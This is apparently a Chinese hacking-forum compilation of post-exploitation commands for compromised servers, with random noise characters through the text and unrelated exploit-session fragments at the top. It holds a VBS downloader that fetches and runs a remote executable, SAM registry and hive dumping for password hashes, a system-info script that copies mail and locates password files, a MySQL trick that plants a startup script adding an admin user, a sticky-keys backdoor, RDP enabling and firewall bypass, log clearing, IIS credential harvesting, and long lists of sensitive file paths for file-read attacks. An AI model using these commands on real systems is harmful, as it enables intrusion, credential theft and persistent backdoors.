* uid=1001(argp) gid=1001(argp) groups=1001(argp)
, f4 ], j1 X' {3 Y+ F* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
1 Y( [; t4 _5 n- p3 R*
) }" A  I' n; `, {calling nmount()
3 ?1 X2 ~( \! ~7 r1 Q. N/ u
3 @# A) e8 u3 Y+ x$ L; F4 J（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
8 G$ T  R6 ]- }" F! j8 \感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
9 o8 f+ C% ?' n) K7 O1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
. a: o/ |- e6 V1 s9 K& x注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
- ?' s$ x. ]  E& H! R若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

# m9 r3 J, c' @" q提权先执行systeminfo
token 漏洞补丁号 KB956572
. ~1 z) Z) x0 w/ q, R& e7 U$ T9 \# RChurrasco          kb952004
命令行RAR打包~~·
% K/ S' r" q0 urar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
7 u4 Y. x  `  `/ ]3 \, Z% zfor window：

@echo off
6 H) ]; C' E7 n7 i$ fecho #########system info collection
4 @0 j* g* \; n' D2 Osysteminfo
0 ^7 t. f4 h2 A) N% w' nver
hostname
; G8 Q5 S9 W  Y- V% lnet user
. ]: j4 Q6 k7 @' J  E! s% Hnet localgroup
  K1 s( a1 l5 Anet localgroup administrators
net user guest
net user administrator
6 E3 P4 X$ a3 ]
echo #######at- with   atq#####
) ~. Q$ o6 {& |2 }' [echo schtask /query

echo
! b) J4 ]) z9 K3 u7 M) ?echo ####task-list#############
tasklist /svc
# K% _  G& [* V8 V$ w) a# ^1 r" Uecho
3 o" U. K0 Q; C5 m% x: iecho ####net-work infomation
ipconfig/all
; S! j+ n- R5 B% V6 \route print
arp -a
netstat -anipconfig /displaydns
echo
: P% B( F, z2 L9 |# L: becho #######service############
$ K2 g% U+ S) Z9 V: Asc query type= service state= all
echo #######file-##############
cd \
tree -F
for linux：
6 d9 e. c' x# x1 N# ^; V' J
#!/bin/bash
# C: r0 I. \2 r0 {2 C2 u. s
echo #######geting sysinfo####
( H" V; J9 V; hecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
, f: ]- W$ |! _  D6 Aecho
( O" |+ [+ v# k' rcat /proc/cpuinfo
echo
  V! H6 U1 f& H7 Y" ^3 orpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
+ u/ x8 s9 _" [2 b# e' Watq
crontab -l
echo #####about var#####
set
3 I+ O8 n4 u) B: ]6 E" i* Q! U+ L. t
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ {+ T) R% [- M8 l$ Scat /etc/hosts
hostname
ipconfig -a
arp -v
% ^* o  d- e; j2 y( ~5 Z+ _echo ########user####
* @9 W4 \4 ^+ E5 \# Kcat /etc/passwd|grep -i sh
4 c1 V) k3 l$ o- l) ~5 s
8 Y8 J3 Z! U* z9 h' j8 X1 `2 \2 Techo ######service####
& l3 F+ h1 H6 L' a" uchkconfig --list

/ Q: Z4 x0 e* q% Y4 @! M0 Afor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

( R* M2 c3 e& J( N) g* Dlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
( G3 F8 T9 L1 [+ ?& h% Lsleep 5
& [, N  m. \5 [( D  flocate conf >/tmp/sysconfig 2>dev/null
+ X! d* E- M! ?+ @. J  t! G9 K5 Ssleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
9 P# o; r' N4 T
% T1 Q& M- z# \9 B# L###maybe can use "tree /"###
echo ##packing up#########
9 U, T  \0 o+ P4 \8 M: Ktar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
$ D- O- v" j( r3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
/ r% R, F) A7 a  Z1 x* \7 ]- {& |2 b接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
5 r* ~! \3 h# T1 E  [  I' B1
& F: X$ x9 n& F$ b5 B; [echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
  [0 O- I$ f$ M2 m; uecho sGet.Open() >>c:\windows\cftmon.vbs
9 M' K  Z, V+ J6 ~' kecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

! w! s+ s6 V9 E' P; f2 P4 j2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
& O7 D. }  M; F/ H/ ds1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& r( T- W8 v. v( N  |, jSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

; ]" }/ q0 Z6 T6 Y  ^8 |7 c/ {  rcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
* g, p' V/ Q$ \& [  y+ T4 R" q
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- i1 [" v+ ^: e& \5 ?4 N——————————————————
( i6 e: L' Y6 Z% L( ]) i" t  \5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
8 L1 K* d# [% C2.开启XP&2003终端服务
+ T; d: ?9 m' |, Q$ GREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
: b4 E& l  w) f$ v* z) N, D3.更改终端端口为2008(0x7d8)
" x# u7 R8 I/ W/ CREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
% I0 [% y, z0 w- S9 d3 E) V, i* IREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
2 i4 j# B" ]% i' oREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
* r: r* B( T8 U& x8 G6、create table a (cmd text);
7 M! o: I3 H- ^% J9 ]* \insert into a values ("set wshshell=createobject (""wscript.shell"")");
3 x" y4 [$ I7 P% z  Finsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
0 h6 _2 O7 G* g5 b3 {+ A————————————————————
" P/ @1 U/ J# h! Q7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
: B2 ~7 m0 ~% B  j4 ^3 Z8、for /d %i in (d:\freehost\*) do @echo %i

& r5 p1 G3 Y5 t2 `" a# `列出d的所有目录
  
; ^* R5 B5 M: Z; P% v  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
( F6 z/ S+ v/ J6 E0 L+ h  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

& V8 y$ T3 d* N( T; U- O2 ?for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
" p; N3 U+ B, D# L
3.for /f %i in (c:\1.txt) do echo %i
  
+ ]) _9 I" e, U. d  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
8 `8 ?1 f( G6 M8 _
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
+ c8 t/ y5 K4 q- E" @0 S
0 s  J" P& z& W' h- E& K4 }" a. |  delims=后的空格是分隔符 tokens是取第几个位置
* @( K/ n) ?2 O- c; e7 \- t——————————
●注册表:
) V! r3 t# i. \: K$ M. b1.Administrator注册表备份:
" z* ~) U5 F) Z) [1 i. {reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
/ S! C2 o) P: T! i* L5 X
2 d0 \  p* J4 F) y! b9 F" ?2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
2 e" g/ B$ W# z! x
! |* @  w9 J' L! t3 m7 R3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
+ Q& f0 N; \* F+ n# Areg export HKLM\SYSTEM\RAdmin c:\a.reg
3 ^4 [9 T" X- [) |' E8 ^/ F
5.禁用TCP/IP端口筛选(需重启):
3 l* r5 v+ r- I  qREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
" G/ v5 ^8 B0 @% N* R# N' O1 r) }
( G# t) p& L. P6 \+ k% C0 _7.停止指派策略"myipsec":
" P3 s% ~8 P$ A. A% Anetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
9 j8 U% c. n  b' z+ m7 L) R5 K
( o7 W1 B9 f( u. N, {% r9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
+ p- @1 p' D6 D) d5 {reg save hklm\security c:\security.hive

# x# U" O1 J4 S: Q" v4 E0 ?) {10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

/ a4 L& z! r! {1 V/ K. p5 S% Kreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
8 U$ x9 k0 [# \; L' dSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
; u6 {2 ~8 ^1 y+ HchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
  a& l/ C  V" v3 x  _if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
$ }4 q- W+ \: P  Y. Lexit for
msgbox("error!")
7 [- P$ g0 N) ^! qwscript.quit
end if
0 W; R% ~( t  ~/ Q- p/ v' rserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
7 v) w) K) I. e, G' `set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
0 H' L& R" g7 z) H* I4 T) x6 t! Vpass=iisweb.AnonymousUserPass
path=IIsWeb.path
; A  A! Z9 }  u5 H+ B- ?list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
' i5 h, x& R; wend if
Next
wscript.echo list
$ s9 v" M( X7 }Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
+ k5 P' T$ M! @* JWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
8 i# Y1 W" ?" @</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
: H. e. `2 ]% f url=request.severvariables("url")
1 @! _( e7 Y+ u) {& x. _9 M 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
( D& n/ C( x# Y) N url=request.severvariables("path_info")
3 b1 i/ ^, z' W, d% u/ V/ y5 S path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
, o3 O* [0 T% `' P, F" q! a8 O* V, c/etc/fstab
; P1 J9 {3 z9 J0 s/etc/host.conf
0 G! f! V7 w2 D( }7 n/etc/motd
/etc/ld.so.conf
! Y7 B  V2 r& D& O' s$ `/var/www/htdocs/index.php
% m8 Q+ v0 y- x# U- r' h0 V/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
7 i, c: F9 _( y/ E" c5 P6 O/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
) X: o6 H( q9 G1 Q+ i& }8 t+ |/var/www/index.html
* `) Q  L9 U: ^9 C/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
$ v) Z5 v. j3 S, Q+ ~; d/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
0 l; y  P3 ], \3 }5 d* h0 v/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
. c; P  \5 Q/ Y7 R# E" V, [/etc/httpd/htdocs/index.html
8 _, y; P" V0 Z  ?9 e/www/php/php.ini
8 K$ u4 `3 J1 s1 K# V' o' }/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
  Q% U) x) [) Q. u4 g4 d& Q/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
0 ~9 Y0 a4 s% ~; A/etc/phpmyadmin/config.inc.php
. W7 F6 i" C: ~, E# |2 x( [3 L6 w+ ~+ R/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
3 r0 Y) m% F0 ]6 L. z) F/etc/httpd/conf.d/httpd.conf
, R0 {' N5 v' Y; h1 k/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
5 T# L2 U. W9 l6 e/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
, z% ]/ z2 `/ j. h( u( F: a/var/log/apache/access_log
/var/log/apache/access.log
5 Q, n. R) O) F- i' t/var/log/apache2/error_log
: a& l- D5 q4 T8 A/ J/var/log/apache2/error.log
5 g$ J* H0 a2 Z* l! V+ G* J. [/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
- j  P: ?) |3 `4 @7 t6 l/ D" j8 D/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
: F$ d& w$ g- h3 c1 {: J* S/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
" q" r  {8 c5 c* h  J/var/log/error.log
& [" j6 V1 S. H9 }" G8 R) w/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
1 ~9 o3 [& \6 Z6 [9 J: W  Z$ ]: i/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
* t1 e5 }/ x0 ]5 s/etc/init.d/httpd
/etc/init.d/mysql
5 z2 `$ ^8 n" F( H& R0 U/etc/httpd/php.ini
/usr/lib/php.ini
& ~! e6 Z# g7 o& n, L+ X/usr/lib/php/php.ini
1 N( K1 D( |( x- a2 M( {/usr/local/etc/php.ini
# G6 Y7 c' v* x2 L6 d; C! l6 f/usr/local/lib/php.ini
1 Z5 _# S% Z6 O7 U# q/ P  A) Z) p) ~/usr/local/php/lib/php.ini
4 y: ]( L, S$ }/ }& Y  E+ l/usr/local/php4/lib/php.ini
; D+ v/ `+ b4 S! B5 j/usr/local/php4/php.ini
  c7 J( m3 T' D/ _2 T- v0 ^  o7 k/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
* a9 x+ v: J4 m/ n' |' r. G/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
3 l2 m& @  T7 B: e9 B6 S6 H  I: F4 }/usr/local/apache/conf/php.ini
% X# }- [/ I! i; A" g/usr/local/apache/conf/httpd.conf
; a0 k5 i) f1 h/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
2 e4 r: r# I" A, T  ~$ Q/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
  ~4 X6 v# ]& G3 S/etc/php4/apache2/php.ini
# F+ p; j8 h6 p- `4 ~/etc/php5/apache/php.ini
5 M+ m% z1 N  z/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
: o1 F* T7 ^. _: F$ Z/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/ J! ^; ~- ^+ ]9 T  k% Q/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
0 p# Y( U/ j/ H' c7 M5 }/php4/php.ini
2 a. I8 u2 E# n/php/php.ini
/PHP/php.ini
! Z) _! `/ Z' o( K; O  m6 r  v/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
2 I; y$ {* A* y3 O; {4 [: ^/home2/bin/stable/apache/php.ini
0 z- X' A/ e4 S; n1 q/ d9 s$ w; g/home/bin/stable/apache/php.ini
# P5 F* Z2 p& J  V0 U/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
0 g" Y% f: o0 b2 m/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
' t, g- K4 t# p- K1 F" p. w3 L$ [+ A/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
6 f- j$ E9 n1 V/ t/ \! W. L/etc/mysql/my.cnf
1 D+ h! F' [# R5 `% {& \- C; k/etc/my.cnf
* D' x# d' b3 x( ?4 J/usr/local/cpanel/logs
0 A& E( p/ C9 o* V/usr/local/cpanel/logs/stats_log
0 Q% S. k: m% I4 Z, d; s/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
- C3 @& O' \% V& w/usr/local/cpanel/logs/license_log
  j; t4 F2 G5 j! q" p/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
' ?1 L' K. p( p) y% M/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

/ y: ?0 Q( R  @7 j( e- u2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
1 i' }+ T3 r2 F& J  h$ W* oc:\boot.ini
c:\1.txt
c:\a.txt
$ E8 ^1 {$ H4 ]' v2 k5 C' W' k
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
8 a# {. c) l( I: B! R3 Lc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
4 ^& O% r$ M; {3 B. iC:\WinWebMail\SysInfo.ini
  Y; |" \; h' i+ yC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
) u, f# c) a% SC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
* `0 V! a: \& f5 q7 x9 }
c:\hzhost\databases\url.asp
0 L6 I7 f# N5 E# F% [
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
$ `( M+ T9 }+ |/ O& Y2 B2 [7 jc:\web\index.html
/ t) Z; T" C* I7 X9 D$ jc:\www\index.html
c:\WWWROOT\index.html
. q5 D$ L$ D; _/ B3 }# \c:\website\index.html
* {3 Q; S+ }7 E6 c! @6 p& P; w0 l/ @c:\web\index.asp
+ g4 S) ~$ n  n6 I# h, i' |& X  ^c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
4 j, ?* @0 Y* U8 wc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
% O, s& f- g  A- R: |6 Oc:\web\default.html
3 v* A& ~# I% h' }3 Gc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
' i  s4 f- S! v0 J& e% n4 |c:\web\default.asp
0 Q) H7 k3 {" W! H) s$ k7 x! H# kc:\www\default.asp
4 \. S6 C0 i  Wc:\wwwsite\default.asp
c:\WWWROOT\default.asp
9 d: {  u7 P% A$ |( d+ Pc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
! X! P. b. K' z5 Z! D( m; {: Lc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
, ~6 m6 a7 O1 V4 @c:\windows\notepad.exe
; K; M* v6 T+ j) sc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
" _/ ]0 U+ y' H" Z7 y$ sC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
) _( w2 i% l. U: X. gC:\Program Files\winrar\rar.exe
! {/ S/ I' v# gC:\Program Files\360\360Safe\360safe.exe
- f, [; v! W: d- D* k# ?5 w: fC:\Program Files\360Safe\360safe.exe
4 K! R- P8 M3 F6 _C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
- M% z& q) l) e2 A8 Hc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
1 D2 K' y  x8 u0 |/ r1 L  LC:\Documents and Settings\Administrator\Cookies\index.dat
/ |, q( u% ?! d9 m7 d+ r- A  sC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
: @& r% U" [% y6 z. }6 PC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
( x/ _/ Z( j  k, xC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
0 G3 C: F# a4 RC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
& ~2 T0 c" ?+ B/ h) O) _; I* |6 lE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
; u. h  ]- A0 _5 V6 S4 C! N7 H( WC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
3 c, X# G- N' \- Z4 C) QC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
4 ]# Y; F; a" F" KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
1 ^1 G( N+ }$ }C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
! X& j+ r! }2 W% X& ?1 iC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
# q% N* o) I$ J1 zC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
6 p. ]9 C2 E  p6 T5 I: t+ N* f/ C7 U- yC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
; f' E; \$ v6 K( P. S- n9 c- f, jC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
* P8 A$ `" S' W, A1 K' }6 ^& gC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
) C& N& k* ?6 x( P3 g% L+ s# cC:\Program Files\Oracle\oraconfig\Lpk.dll
. k4 v: u+ w9 m* b; s/ U: OC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
7 Q& z$ Y0 q+ O+ Y3 T' G7 uC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
1 _  `  I: t) z4 Y7 K$ K% C4 @( S  h8 xC:\WINDOWS\system32\inetsrv\MetaBase.xml
' [" u  G( U0 R; ]" a+ XC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
& i$ H6 g, j5 k) K+ ?/ `c:\tomcat6\bin\version.sh
3 K+ ^/ l' w6 @* H; U/ X' }c:\tomcat\bin\version.sh
9 ]5 f- A) M. l! t4 S  ic:\program files\tomcat6\bin\version.sh
' F. f* i- D) W' p+ LC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
( R# |8 L# U5 m  Y7 D; P) i1 }# [8 @c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
4 |; K2 L- z7 u/ ~) Z1 R7 `/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
/ h/ {, e# ]) s; X) j9 G+ A) d$ bc:\Program Files\Tencent\qq\User.db
9 x( W, \; u. ~2 Y8 }c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
4 h, b7 S& z% b9 T; T% a& Lc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
5 x! m6 {/ b( p: l; [1 f0 a) Kc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
8 q1 n2 D, K2 i. ^c:\Program Files\Tencent\RTXServer\AppConfig.xml
